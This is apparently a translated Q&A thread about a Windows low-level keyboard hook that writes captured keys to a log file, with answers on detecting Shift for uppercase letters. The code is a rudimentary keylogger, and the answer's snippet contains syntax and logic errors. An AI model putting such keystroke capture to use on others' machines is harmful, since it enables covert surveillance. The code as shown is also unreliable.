Keyboard Hook ... не получает символы нижнего или верхнего регистра - PullRequest
1 голос
/ 05 декабря 2008

Функция, представленная ниже, регистрирует «0», «z» и «1», в порядке ... но не захватывает «Z» (shift-z) ... любая помощь будет оценена ...

__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
    if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
    {
        // This Struct gets infos on typed key
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Bytes written counter for WriteFile()
        DWORD Counter;

        wchar_t Logger[1];

        switch (hookstruct.vkCode)
        {
        case 060: Logger[0] = L'0'; break;
        case 061: Logger[0] = L'1'; break;
        case 90: Logger[0] = L'z'; break;
        case 116: Logger[0] = L'Z'; break;
        }

        // Opening of a logfile. Creating it if it does not exists
        HANDLE  hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
            FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // put the file pointer to the end
        SetFilePointer(hFile,NULL,NULL,FILE_END);

        // Write the hFile typed in logfile
        WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);

        //WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
        // Close the file
        CloseHandle(hFile);
    }
}

Ответы [ 2 ]

10 голосов
/ 05 декабря 2008

Клавиатура не отправляет символов . Он посылает ключей . Набираете ли вы z или Z , вы все равно нажимаете одну и ту же клавишу, и эта клавиша имеет один и тот же код VK оба раза.

Вы также должны получать уведомления, когда клавиша Shift нажата или отпущена. Вы можете использовать эти уведомления для перевода нажатий клавиш в символы. Состояние caps-lock также будет иметь отношение к этому. Вы также можете быть обеспокоены мертвыми ключами.

Вы можете проверить, нажата ли клавиша Shift. GetAsyncKeyState сообщит вам состояние ключа прямо сейчас , а GetKeyState сообщит вам состояние ключа на момент последнего сообщения, удаленного из очереди сообщений.

6 голосов
/ 05 декабря 2008

Нет виртуального ключевого кода для Z. Попробуйте что-то вроде этого:

            case 90:
                 if(GetKeyState(VK_LSHIFT|VK_RSHIFT)
                     Logger[0] = L'Z'; break;
                 else
                     Logger[0] = L'z'; break;
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...